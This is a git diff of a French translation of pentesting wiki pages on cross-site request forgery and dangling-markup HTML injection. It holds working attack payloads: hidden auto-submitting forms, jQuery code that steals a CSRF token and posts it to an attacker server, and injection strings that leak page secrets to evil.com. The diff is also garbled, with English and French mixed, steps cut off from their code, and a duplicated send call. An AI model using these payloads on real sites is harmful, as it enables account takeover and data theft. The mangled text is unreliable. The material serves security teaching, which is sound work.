-7. Include the necessary form fields: Add the required form fields to perform the desired action on the target website.
+7. Add the necessary form fields: Add the required form fields to perform the action on the target website. These fields should match the expected input of the target endpoint.
-7. Inclure les champs de formulaire nécessaires : Ajoutez les champs de formulaire requis pour effectuer l'action souhaitée sur le site web cible.
+7. Ajouter les champs de formulaire nécessaires : Ajoutez les champs de formulaire requis pour effectuer l'action sur le site web cible. Ces champs doivent correspondre à l'entrée attendue par le point d'extrémité cible.
-8. Submit the form automatically: Use JavaScript to automatically submit the form when the malicious HTML page is loaded.
+8. Submit the form automatically: Use JavaScript to automatically submit the form when the malicious HTML page is loaded by the victim's browser.
-8. Soumettre le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire lorsque la page HTML malveillante est chargée.
+8. Soumettre le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire lorsque la page HTML malveillante est chargée par le navigateur de la victime.
-9. Trick the victim into visiting the malicious HTML page: Find a way to trick the victim into visiting the page containing the malicious form.
+9. Trick the victim into visiting the malicious HTML page: Send the victim a link or embed the malicious HTML page in a website or email to trick them into visiting it.
-9. Tromper la victime pour qu'elle visite la page HTML malveillante : Trouvez un moyen de tromper la victime pour qu'elle visite la page contenant le formulaire malveillant.
+9. Tromper la victime pour qu'elle visite la page HTML malveillante : Envoyez à la victime un lien ou intégrez la page HTML malveillante dans un site web ou un e-mail pour la tromper et l'inciter à la visiter.
-10. Perform the CSRF attack: When the victim visits the malicious HTML page, their browser will automatically submit the form, triggering the desired action on the target website.
+10. Perform the CSRF attack: When the victim visits the malicious HTML page, their browser will automatically submit the form, triggering the action on the target website.
-10. Effectuer l'attaque CSRF : Lorsque la victime visite la page HTML malveillante, son navigateur soumettra automatiquement le formulaire, déclenchant l'action souhaitée sur le site web cible.
+10. Effectuer l'attaque CSRF : Lorsque la victime visite la page HTML malveillante, son navigateur soumettra automatiquement le formulaire, déclenchant ainsi l'action sur le site web cible.
-By following these steps, you can exploit CSRF vulnerabilities using a multipart/form-data POST request.
+By exploiting CSRF using a multipart/form-data POST request, an attacker can perform unauthorized actions on a target website, potentially leading to data manipulation, account takeover, or other malicious activities.
-En suivant ces étapes, vous pouvez exploiter les vulnérabilités CSRF en utilisant une requête POST multipart/form-data.
+En exploitant le CSRF en utilisant une requête POST multipart/form-data, un attaquant peut effectuer des actions non autorisées sur un site web cible, ce qui peut entraîner une manipulation de données, une prise de contrôle de compte ou d'autres activités malveillantes.
 ```javascript
 var fileSize = fileData.length,
 boundary = "OWNEDBYOFFSEC",
@ -505,21 +457,57 @@ xhr.sendAsBinary(body);
 ```
 ### Requête POST de formulaire à partir d'un iframe
-In some cases, you may encounter a web application that uses an iframe to display a form. This can be a potential security vulnerability if the form submission is not properly protected against Cross-Site Request Forgery (CSRF) attacks.
+In some cases, you may encounter a scenario where you need to submit a form from within an iframe. This can be useful when performing Cross-Site Request Forgery (CSRF) attacks or when testing the security of a web application.
-Dans certains cas, vous pouvez rencontrer une application web qui utilise un iframe pour afficher un formulaire. Cela peut constituer une vulnérabilité potentielle si la soumission du formulaire n'est pas correctement protégée contre les attaques de falsification de requête intersite (CSRF).
+Dans certains cas, vous pouvez rencontrer un scénario où vous devez soumettre un formulaire à partir d'un iframe. Cela peut être utile lors de l'exécution d'attaques de falsification de requête intersite (CSRF) ou lors de la vérification de la sécurité d'une application web.
-To exploit this vulnerability, an attacker can create a malicious website that includes an iframe pointing to the target application's form. When a user visits the attacker's website, the iframe will load the form from the target application. If the user is already authenticated on the target application, their session cookies will be sent along with the form submission.
+To achieve this, you can use JavaScript to programmatically submit the form. Here's an example of how you can accomplish this:
-Pour exploiter cette vulnérabilité, un attaquant peut créer un site web malveillant qui inclut un iframe pointant vers le formulaire de l'application cible. Lorsqu'un utilisateur visite le site web de l'attaquant, l'iframe chargera le formulaire de l'application cible. Si l'utilisateur est déjà authentifié sur l'application cible, ses cookies de session seront envoyés avec la soumission du formulaire.
+Pour cela, vous pouvez utiliser JavaScript pour soumettre le formulaire de manière programmée. Voici un exemple de la façon dont vous pouvez y parvenir :
-The attacker can craft the form submission to perform actions on behalf of the user, such as changing their password, making a purchase, or deleting their account. Since the request originates from the user's browser, it may bypass any CSRF protection mechanisms implemented on the server-side.
+```html
 <iframe id="myIframe" src="https://www.example.com"></iframe>
-L'attaquant peut concevoir la soumission du formulaire pour effectuer des actions au nom de l'utilisateur, telles que changer son mot de passe, effectuer un achat ou supprimer son compte. Étant donné que la requête provient du navigateur de l'utilisateur, elle peut contourner les mécanismes de protection CSRF mis en place côté serveur.
+<script>
  // Get the iframe element
  var iframe = document.getElementById('myIframe');
-To prevent this type of attack, it is important to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens or checking the origin of the request. Additionally, it is recommended to avoid loading forms within iframes, especially when sensitive actions are involved.
+  // Access the iframe's document object
  var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
-Pour prévenir ce type d'attaque, il est important de mettre en place des mécanismes de protection CSRF appropriés, tels que l'utilisation de jetons anti-CSRF ou la vérification de l'origine de la requête. De plus, il est recommandé d'éviter de charger des formulaires dans des iframes, surtout lorsqu'il s'agit d'actions sensibles.
+  // Access the form element within the iframe
  var form = iframeDocument.getElementById('myForm');
  // Submit the form
  form.submit();
 </script>
 ```
 ```html
 <iframe id="myIframe" src="https://www.example.com"></iframe>
 <script>
  // Obtenez l'élément iframe
  var iframe = document.getElementById('myIframe');
  // Accédez à l'objet document de l'iframe
  var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
  // Accédez à l'élément de formulaire dans l'iframe
  var form = iframeDocument.getElementById('myForm');
  // Soumettez le formulaire
  form.submit();
 </script>
 ```
 In this example, we have an iframe with the ID "myIframe" that loads a web page from "https://www.example.com". We then use JavaScript to access the iframe's document object and retrieve the form element with the ID "myForm". Finally, we call the `submit()` method on the form to submit it.
 Dans cet exemple, nous avons un iframe avec l'ID "myIframe" qui charge une page web à partir de "https://www.example.com". Nous utilisons ensuite JavaScript pour accéder à l'objet document de l'iframe et récupérer l'élément de formulaire avec l'ID "myForm". Enfin, nous appelons la méthode `submit()` sur le formulaire pour le soumettre.
 Keep in mind that when performing CSRF attacks, you may need to modify the form's input values to carry out the desired action. Additionally, ensure that you have the necessary permissions and legal authorization before conducting any security testing.
 N'oubliez pas que lors de l'exécution d'attaques CSRF, vous devrez peut-être modifier les valeurs d'entrée du formulaire pour effectuer l'action souhaitée. De plus, assurez-vous d'avoir les autorisations nécessaires et l'autorisation légale avant de procéder à des tests de sécurité.
 ```markup
 <--! expl.html -->
@ -606,39 +594,56 @@ Pour voler le jeton CSRF, l'attaquant peut utiliser différentes techniques, tel
 #### **2. Envoi d'une requête POST avec un iframe**
-L'attaquant peut utiliser un iframe pour envoyer une requête POST avec le jeton CSRF volé. L'iframe peut être caché ou rendu invisible pour que l'utilisateur ne le remarque pas. Lorsque la page contenant l'iframe est chargée, la requête POST est automatiquement envoyée, sans que l'utilisateur ait à cliquer sur un bouton ou à soumettre un formulaire.
+L'attaquant peut utiliser un iframe pour envoyer une requête POST avec le jeton CSRF volé. L'iframe peut être caché ou rendu invisible pour que l'utilisateur ne le remarque pas. L'URL de l'iframe doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
 ```html
-<iframe src="https://www.example.com/endpoint" style="display:none;"></iframe>
+<iframe style="display:none" src="https://www.example.com/action" onload="submitForm()"></iframe>
 <script>
 function submitForm() {
  var form = document.createElement("form");
  form.method = "POST";
  form.action = "https://www.example.com/action";
  var csrfToken = document.createElement("input");
  csrfToken.type = "hidden";
  csrfToken.name = "csrf_token";
  csrfToken.value = "valeur_du_jeton_csrf";
  form.appendChild(csrfToken);
  document.body.appendChild(form);
  form.submit();
 }
 </script>
 ```
 #### **3. Envoi d'une requête POST avec un formulaire**
-Une autre méthode consiste à utiliser un formulaire pour envoyer une requête POST avec le jeton CSRF volé. L'attaquant peut créer un formulaire caché et le soumettre automatiquement en utilisant JavaScript. Lorsque la page contenant le formulaire est chargée, la requête POST est envoyée sans que l'utilisateur ait à interagir avec le formulaire.
+Une autre méthode consiste à utiliser un formulaire pour envoyer une requête POST avec le jeton CSRF volé. L'attaquant peut créer un formulaire caché et le soumettre automatiquement à l'aide de JavaScript.
 ```html
-<form id="csrf-form" action="https://www.example.com/endpoint" method="POST" style="display:none;">
+<form id="csrfForm" style="display:none" method="POST" action="https://www.example.com/action">
-  <input type="hidden" name="csrf_token" value="valeur_du_jeton_csrf_volé">
+  <input type="hidden" name="csrf_token" value="valeur_du_jeton_csrf">
 </form>
 <script>
-  document.getElementById("csrf-form").submit();
+document.getElementById("csrfForm").submit();
 </script>
 ```
 #### **4. Envoi d'une requête POST avec Ajax**
-L'attaquant peut également utiliser Ajax pour envoyer une requête POST avec le jeton CSRF volé. L'attaque peut être réalisée en utilisant JavaScript pour effectuer une requête POST asynchrone vers l'URL cible, en incluant le jeton CSRF dans les en-têtes ou les données de la requête.
+L'attaquant peut également utiliser Ajax pour envoyer une requête POST avec le jeton CSRF volé. L'URL de la requête Ajax doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
 ```javascript
 var xhr = new XMLHttpRequest();
-xhr.open("POST", "https://www.example.com/endpoint", true);
+xhr.open("POST", "https://www.example.com/action", true);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-xhr.setRequestHeader("X-CSRF-Token", "valeur_du_jeton_csrf_volé");
+xhr.send("csrf_token=valeur_du_jeton_csrf");
 xhr.send("param1=value1&param2=value2");
 ```
-Il est important de noter que ces méthodes d'attaque nécessitent que l'attaquant ait réussi à voler le jeton CSRF de l'utilisateur légitime au préalable. Les développeurs doivent mettre en place des mesures de protection appropriées, telles que l'utilisation de jetons CSRF avec une durée de validité limitée, pour prévenir les attaques CSRF.
+Il est important de noter que ces méthodes ne fonctionneront que si l'attaquant a réussi à voler le jeton CSRF de l'utilisateur légitime. Par conséquent, il est essentiel de mettre en place des mesures de sécurité appropriées pour protéger les jetons CSRF et prévenir les attaques CSRF.
 ```markup
 <form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
 <input type="text" name="username" value="AA">
@ -662,7 +667,7 @@ document.getElementById("form1").submit();
 To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the victim's CSRF token and use it to send unauthorized requests on behalf of the victim. One way to achieve this is by using an iframe and a form.
-Pour effectuer une attaque de type Cross-Site Request Forgery (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées en son nom. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
+Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées au nom de la victime. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
 1. The attacker creates a malicious webpage that contains an iframe pointing to the target website.
@ -672,34 +677,30 @@ Pour effectuer une attaque de type Cross-Site Request Forgery (CSRF), un attaqua
   <iframe src="https://www.target-website.com"></iframe>
   ```
-2. The attacker also includes a hidden form in the malicious webpage. This form is automatically submitted when the page loads.
+2. The attacker also includes a hidden form within the iframe, pre-filled with the victim's CSRF token and the desired malicious action.
-   L'attaquant inclut également un formulaire caché dans la page web malveillante. Ce formulaire est soumis automatiquement lorsque la page se charge.
+   L'attaquant inclut également un formulaire caché dans l'iframe, pré-rempli avec le jeton CSRF de la victime et l'action malveillante souhaitée.
   ```html
-   <form id="csrf-form" action="https://www.target-website.com/change-password" method="POST">
+   <form action="https://www.target-website.com/action" method="POST">
-     <input type="hidden" name="new-password" value="attacker-password">
+     <input type="hidden" name="csrf_token" value="victim-csrf-token">
     <input type="hidden" name="malicious_action" value="perform-malicious-action">
   </form>
   ```
-3. The attacker uses JavaScript to extract the CSRF token from the target website's HTML source code and sets it as the value of a hidden input field in the malicious form.
+3. When the victim visits the attacker's webpage, the iframe loads the target website, and the hidden form is automatically submitted.
-   L'attaquant utilise JavaScript pour extraire le jeton CSRF du code source HTML du site cible et le définit comme valeur d'un champ de saisie caché dans le formulaire malveillant.
+   Lorsque la victime visite la page web de l'attaquant, l'iframe charge le site cible et le formulaire caché est automatiquement soumis.
-   ```html
+4. Since the form is submitted within the context of the target website, the victim's browser includes the victim's CSRF token in the request, making it appear as a legitimate request.
   <script>
     var csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
     document.getElementById('csrf-form').insertAdjacentHTML('beforeend', '<input type="hidden" name="csrf-token" value="' + csrfToken + '">');
   </script>
   ```
-4. When the victim visits the malicious webpage, the iframe loads the target website, and the hidden form is automatically submitted. Since the form contains the victim's stolen CSRF token, the target website processes the request as if it came from the victim.
+   Étant donné que le formulaire est soumis dans le contexte du site cible, le navigateur de la victime inclut le jeton CSRF de la victime dans la requête, ce qui la rend semblable à une requête légitime.
-   Lorsque la victime visite la page web malveillante, l'iframe charge le site cible et le formulaire caché est soumis automatiquement. Étant donné que le formulaire contient le jeton CSRF volé de la victime, le site cible traite la requête comme si elle provenait de la victime.
+5. The target website processes the request, unaware that it was initiated by the attacker, and performs the malicious action on behalf of the victim.
-By using this technique, an attacker can trick the victim into unknowingly performing actions on the target website without their consent. It is important for web developers to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens and validating the origin of requests, to prevent such attacks.
+   Le site cible traite la requête, sans se rendre compte qu'elle a été initiée par l'attaquant, et effectue l'action malveillante au nom de la victime.
-En utilisant cette technique, un attaquant peut tromper la victime pour qu'elle effectue des actions sur le site cible sans son consentement. Il est important que les développeurs web mettent en place des mécanismes de protection CSRF appropriés, tels que l'utilisation de jetons anti-CSRF et la validation de l'origine des requêtes, pour prévenir de telles attaques.
+By exploiting CSRF vulnerabilities, attackers can trick users into unknowingly performing actions on websites they trust. To protect against CSRF attacks, web developers should implement measures such as using CSRF tokens, checking the origin of requests, and implementing strict access controls.
 ```markup
 <iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -731,14 +732,7 @@ Here's how the attack works:
 6. The second iframe, which is hidden from the victim, captures the victim's token and sends it to the attacker's server.
 7. The attacker can then use the stolen token to perform actions on behalf of the victim, such as making unauthorized requests or modifying the victim's account settings.
-To protect against this type of attack, website developers should implement measures such as:
+To protect against this type of attack, website developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls. Additionally, users should be cautious when visiting unfamiliar websites and should log out of websites when they are finished using them.
 - Implementing CSRF tokens that are unique for each user session.
 - Ensuring that sensitive actions, such as changing account settings or making financial transactions, require re-authentication.
 - Implementing strict content security policies to prevent the loading of external resources.
 - Regularly auditing and testing the website for security vulnerabilities.
 By understanding how CSRF attacks work, both developers and security professionals can take steps to mitigate the risk and protect users from falling victim to such attacks.
 ```markup
 <script>
 var token;
@ -768,71 +762,20 @@ height="600" width="800"></iframe>
 <button type="submit">Submit</button>
 </form>
 ```
 ### **POSTSteal CSRF token with Ajax and send a post with a form**
 ### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
-To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim.
+To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim. One way to achieve this is by using Ajax to steal the token and then sending a POST request using a form.
-Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF du site cible, puis l'utiliser pour envoyer des requêtes malveillantes au nom de la victime.
+Here's how the attack can be carried out:
-One way to steal the CSRF token is by using Ajax to make a request to the target website and extract the token from the response.
+1. The attacker creates a malicious webpage that contains JavaScript code to perform the CSRF attack.
 2. The attacker embeds an invisible iframe on the malicious webpage, pointing to the target website's login page.
 3. The attacker's JavaScript code in the malicious webpage uses Ajax to make a GET request to the target website's login page, retrieving the CSRF token from the response.
 4. Once the CSRF token is obtained, the attacker's JavaScript code can populate a hidden form with the necessary data for the malicious request.
 5. The attacker's JavaScript code then submits the form using a POST request, including the stolen CSRF token in the request headers or body.
 6. The target website, considering the request as legitimate due to the presence of the valid CSRF token, processes the malicious request on behalf of the victim.
-Une façon de voler le jeton CSRF consiste à utiliser Ajax pour effectuer une requête vers le site cible et extraire le jeton de la réponse.
+By using this technique, an attacker can trick the target website into performing actions on behalf of the victim without their knowledge or consent. It is important for web developers to implement proper CSRF protection mechanisms, such as using unique and unpredictable CSRF tokens, to mitigate this type of attack.
 ```javascript
 $.ajax({
    url: 'https://target-website.com',
    type: 'GET',
    success: function(response) {
        var csrfToken = $(response).find('input[name="csrf_token"]').val();
        // Send the stolen CSRF token to the attacker's server
        $.post('https://attacker-server.com', { token: csrfToken });
    }
 });
 ```
 ```javascript
 $.ajax({
    url: 'https://site-cible.com',
    type: 'GET',
    success: function(response) {
        var csrfToken = $(response).find('input[name="csrf_token"]').val();
        // Envoyer le jeton CSRF volé au serveur de l'attaquant
        $.post('https://serveur-de-lattaquant.com', { token: csrfToken });
    }
 });
 ```
 Once the attacker has obtained the CSRF token, they can use it to craft a malicious form and submit it to the target website.
 Une fois que l'attaquant a obtenu le jeton CSRF, il peut l'utiliser pour créer un formulaire malveillant et le soumettre au site cible.
 ```javascript
 var maliciousForm = $('<form action="https://target-website.com" method="POST">' +
    '<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
    '<input type="hidden" name="action" value="delete_account">' +
    '</form>');
 $('body').append(maliciousForm);
 maliciousForm.submit();
 ```
 ```javascript
 var formulaireMalveillant = $('<form action="https://site-cible.com" method="POST">' +
    '<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
    '<input type="hidden" name="action" value="supprimer_compte">' +
    '</form>');
 $('body').append(formulaireMalveillant);
 formulaireMalveillant.submit();
 ```
 In this example, the attacker creates a form with the stolen CSRF token and sets the action to the target website's URL. The form includes hidden fields for the CSRF token and the desired action, such as deleting the victim's account.
 Dans cet exemple, l'attaquant crée un formulaire avec le jeton CSRF volé et définit l'action sur l'URL du site cible. Le formulaire comprend des champs masqués pour le jeton CSRF et l'action souhaitée, telle que la suppression du compte de la victime.
 By appending the form to the body and submitting it, the attacker tricks the victim's browser into sending a POST request to the target website with the malicious action and the stolen CSRF token.
 En ajoutant le formulaire au corps de la page et en le soumettant, l'attaquant trompe le navigateur de la victime pour qu'il envoie une requête POST au site cible avec l'action malveillante et le jeton CSRF volé.
 ```markup
 <body onload="getData()">
@ -861,17 +804,29 @@ document.getElementById("form").submit();
 ```
 ### CSRF avec Socket.IO
-Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Elle est souvent utilisée dans les applications web pour créer des fonctionnalités en temps réel telles que les chats en direct ou les mises à jour en direct.
+Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Lorsqu'il est utilisé de manière incorrecte, Socket.IO peut être vulnérable à une attaque de falsification de requête intersite (CSRF).
-Cependant, Socket.IO peut également être vulnérable aux attaques de falsification de requête intersite (CSRF). Une attaque CSRF se produit lorsque le navigateur d'un utilisateur authentifié envoie une requête non autorisée à un site web sans que l'utilisateur en soit conscient.
+#### Qu'est-ce que le CSRF ?
-Pour exploiter une vulnérabilité CSRF avec Socket.IO, un attaquant peut utiliser une page web malveillante pour envoyer une requête WebSocket à un serveur Socket.IO. Cette requête peut contenir des instructions malveillantes qui seront exécutées par le serveur.
+La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance d'un site web dans les requêtes émises par un utilisateur authentifié. L'attaque se produit lorsque le site web ne vérifie pas l'origine de la requête, permettant ainsi à un attaquant de forger une requête en utilisant les informations d'authentification de l'utilisateur.
-Pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des jetons anti-CSRF. Ces jetons sont générés par le serveur et inclus dans les requêtes WebSocket. Le serveur vérifie ensuite si le jeton est valide avant de traiter la requête.
+#### Exploiter le CSRF avec Socket.IO
-En utilisant des jetons anti-CSRF, les développeurs peuvent s'assurer que seules les requêtes légitimes provenant de leur propre site web sont autorisées à interagir avec le serveur Socket.IO. Cela réduit considérablement le risque d'attaques CSRF.
+Pour exploiter le CSRF avec Socket.IO, l'attaquant doit d'abord trouver un point d'injection de code JavaScript sur le site cible. Cela peut être réalisé en exploitant des vulnérabilités telles que les injections de script ou les failles XSS.
-Il est important de noter que la mise en place de jetons anti-CSRF ne garantit pas une protection complète contre les attaques CSRF. Il est également recommandé de suivre les meilleures pratiques de sécurité web, telles que la validation des entrées utilisateur et la mise en œuvre de mécanismes de sécurité supplémentaires pour renforcer la sécurité de l'application.
+Une fois qu'un point d'injection de code JavaScript est trouvé, l'attaquant peut utiliser Socket.IO pour envoyer des requêtes falsifiées au serveur. Ces requêtes peuvent inclure des actions malveillantes telles que la modification des données de l'utilisateur, l'ajout d'un nouvel utilisateur ou la suppression de données sensibles.
 #### Prévention du CSRF avec Socket.IO
 Pour prévenir les attaques CSRF avec Socket.IO, il est essentiel de mettre en place des mesures de sécurité appropriées. Voici quelques bonnes pratiques à suivre :
 1. Utilisez des jetons anti-CSRF : Générez et utilisez des jetons anti-CSRF uniques pour chaque utilisateur et chaque session. Ces jetons doivent être inclus dans les requêtes Socket.IO et vérifiés côté serveur pour s'assurer de leur validité.
 2. Vérifiez l'origine des requêtes : Assurez-vous que les requêtes Socket.IO proviennent bien du site web autorisé. Vous pouvez le faire en vérifiant l'en-tête d'origine (Origin) ou en utilisant des mécanismes de vérification de domaine tels que CORS (Cross-Origin Resource Sharing).
 3. Évitez les injections de script et les failles XSS : Assurez-vous que votre application est sécurisée contre les injections de script et les failles XSS en validant et en échappant correctement les données utilisateur.
 En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de votre application Socket.IO et prévenir les attaques CSRF.
 ```markup
 <script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
 <script>
@ -892,7 +847,7 @@ room: username
 });
 </script>
 ```
-## Brute Force de connexion CSRF
+## CSRF Brute Force de Connexion
 Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
 ```python
--- a/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@ -0,0 +1,306 @@
 # Dangling Markup - Injection HTML sans script
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>
 ## Résumé
 Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter certaines balises HTML**.\
 C'est également utile si un **secret est enregistré en clair** dans le HTML et que vous souhaitez l'**exfiltrer** du client, ou si vous souhaitez tromper l'exécution d'un script.
 Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**politiques de sécurité du contenu**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises HTML, CSS, balises http-meta, formulaires, base...).
 ## Principales applications
 ### Vol de secrets en texte clair
 Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant une guillemet double, regardez ce qui pourrait être plus intéressant à utiliser).
 Si la balise `img` est interdite (en raison de la CSP par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
 ```
 <img src='http://attacker.com/log.php?HTML=
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
 <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
 ```
 Notez que **Chrome bloque les URL HTTP** contenant "<" ou "\n", vous pouvez donc essayer d'autres schémas de protocole comme "ftp".
 Vous pouvez également abuser de CSS `@import` (cela enverra tout le code jusqu'à ce qu'il trouve un ";").
 ```markup
 <style>@import//hackvertor.co.uk?     <--- Injected
 <b>steal me!</b>;
 ```
 Vous pouvez également utiliser **`<table`** :
 ```bash
 <table background='//your-collaborator-id.burpcollaborator.net?'
 ```
 Vous pouvez également insérer une balise `<base`. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise base aura modifié le domaine pointé par le lien) :
 ```markup
 <base target='        <--- Injected
 steal me'<b>test</b>
 ```
 ### Vol de formulaires
 ---
 #### Description
 In some cases, web applications may have forms that are not properly secured, allowing an attacker to steal sensitive information entered by users. This technique is known as form stealing or formjacking.
 #### Vulnerability
 The vulnerability occurs when a web application fails to implement proper security measures to protect user input. This can happen due to various reasons, such as improper validation, lack of input sanitization, or insecure storage of user data.
 #### Exploitation
 To exploit this vulnerability, an attacker can inject malicious code into the web application, typically through scriptless injection techniques. This code is designed to capture user input, such as login credentials, credit card information, or personal details, and send it to a remote server controlled by the attacker.
 #### Mitigation
 To mitigate the risk of form stealing attacks, web developers should implement proper security measures, including:
 - Input validation and sanitization to prevent malicious code injection.
 - Secure storage of user data, such as using encryption or hashing algorithms.
 - Regular security audits and vulnerability assessments to identify and fix any potential vulnerabilities.
 - Keeping software and plugins up to date to ensure the latest security patches are applied.
 ---
 #### Description
 Dans certains cas, les applications web peuvent avoir des formulaires qui ne sont pas correctement sécurisés, ce qui permet à un attaquant de voler des informations sensibles saisies par les utilisateurs. Cette technique est connue sous le nom de vol de formulaires ou de formjacking.
 #### Vulnérabilité
 La vulnérabilité se produit lorsque une application web ne met pas en place les mesures de sécurité appropriées pour protéger les entrées des utilisateurs. Cela peut se produire pour diverses raisons, telles qu'une validation incorrecte, un manque de sanitisation des entrées ou un stockage non sécurisé des données utilisateur.
 #### Exploitation
 Pour exploiter cette vulnérabilité, un attaquant peut injecter du code malveillant dans l'application web, généralement par le biais de techniques d'injection sans script. Ce code est conçu pour capturer les saisies des utilisateurs, telles que les identifiants de connexion, les informations de carte de crédit ou les coordonnées personnelles, et les envoyer à un serveur distant contrôlé par l'attaquant.
 #### Atténuation
 Pour atténuer le risque d'attaques de vol de formulaires, les développeurs web doivent mettre en place des mesures de sécurité appropriées, notamment :
 - La validation et la sanitisation des entrées pour prévenir l'injection de code malveillant.
 - Le stockage sécurisé des données utilisateur, par exemple en utilisant le chiffrement ou des algorithmes de hachage.
 - Des audits de sécurité réguliers et des évaluations des vulnérabilités pour identifier et corriger les éventuelles failles.
 - Maintenir à jour les logiciels et les plugins pour garantir l'application des derniers correctifs de sécurité.
 ```markup
 <base href='http://evil.com/'>
 ```
 Ensuite, les formulaires qui envoient des données vers un chemin (comme `<form action='update_profile.php'>`) enverront les données vers le domaine malveillant.
 ### Vol de formulaires 2
 Définissez un en-tête de formulaire : `<form action='http://evil.com/log_steal'>` cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
 ### Vol de formulaires 3
 Le bouton peut modifier l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction":
 ```markup
 <button name=xss type=submit formaction='https://google.com'>I get consumed!
 ```
 Un attaquant peut utiliser cela pour voler les informations.
 ### Vol de secrets en texte clair 2
 En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
 ```markup
 <input type='hidden' name='review_body' value="
 ```
 et ce champ de saisie contiendra tout le contenu entre ses guillemets et les guillemets suivants dans le HTML. Cette attaque mélange "_**Vol de secrets en texte clair**_" avec "_**Vol de formulaires2**_".
 Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise `</option>` fermée soit trouvée seront envoyées :
 ```markup
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
 ### Injection de paramètre de formulaire
 Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
 ```markup
 <form action='/change_settings.php'>
 <input type='hidden' name='invite_user'
 value='fredmbogo'>                                        ← Injected lines
